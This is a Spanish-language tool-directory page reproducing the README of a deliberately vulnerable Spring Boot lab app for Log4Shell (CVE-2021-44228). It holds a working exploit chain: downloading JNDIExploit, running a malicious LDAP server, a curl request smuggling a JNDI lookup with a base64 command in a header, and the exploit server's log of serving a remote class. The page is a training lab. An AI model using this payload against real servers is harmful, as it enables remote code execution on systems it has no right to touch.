Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
log4shell-vulnerable-app — Aplicación web Spring Boot vulnerable a CVE-2021-44228, apodado Log4Shell. | Kitploit
Herramientas/GitHubGitHub/bsigouin/log4shell-vulnerable-app
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubbsigouin/log4shell-vulnerable-app

log4shell-vulnerable-app

Aplicación web Spring Boot vulnerable a CVE-2021-44228, apodado Log4Shell.

Ver Repositorio
2hace 3 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Aplicación de muestra vulnerable a Log4Shell (CVE-2021-44228)

Este repositorio contiene una aplicación web Spring Boot vulnerable a CVE-2021-44228, apodada Log4Shell.

Utiliza Log4j 2.14.1 (a través de spring-boot-starter-log4j2 2.6.1) y el JDK 1.8.0_181.

Ejecutar la aplicación

Ejecútala:

root@kitploit:~
docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

Constrúyela tú mismo (no necesitas ninguna herramienta relacionada con Java):

root@kitploit:~
docker build . -t vulnerable-app
docker run -p 8080:8080 --name vulnerable-app vulnerable-app

Pasos de explotación

Nota: Esto está muy inspirado en el . .

aviso original de LunaSec
Ejecútalo bajo tu propio riesgo, preferiblemente en una VM en un entorno sandbox

Actualización (13 de diciembre): El repositorio de JNDIExploit ha sido eliminado de GitHub (presumiblemente, no por GitHub). Solo añade web.archive.org delante de la URL de descarga de JNDIExploit que aparece a continuación para usar la versión almacenada en caché por Wayback Machine.

  • Usa JNDIExploit para levantar un servidor LDAP malicioso
root@kitploit:~
wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i your-private-ip -p 8888
  • Luego, dispara el exploit usando:
root@kitploit:~
# will execute 'touch /tmp/pwned'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
  • Observa la salida de JNDIExploit, que muestra que ha enviado una respuesta LDAP maliciosa y ha servido el payload de segunda etapa:
root@kitploit:~
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo
[+] Paylaod: command
[+] Command: touch /tmp/pwned

[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo redirecting to http://192.168.1.143:8888/Exploitjkk87OnvOH.class
[+] New HTTP Request From /192.168.1.143:50119  /Exploitjkk87OnvOH.class
[+] Receive ClassRequest: Exploitjkk87OnvOH.class
[+] Response Code: 200
  • Para confirmar que la ejecución de código fue exitosa, observa que el archivo /tmp/pwned.txt fue creado en el contenedor que ejecuta la aplicación vulnerable:
root@kitploit:~
$ docker exec vulnerable-app ls /tmp
...
pwned
...

Referencias

https://www.lunasec.io/docs/blog/log4j-zero-day/ https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/

Contribuyentes

@christophetd @rayhan0x01

Descargar herramienta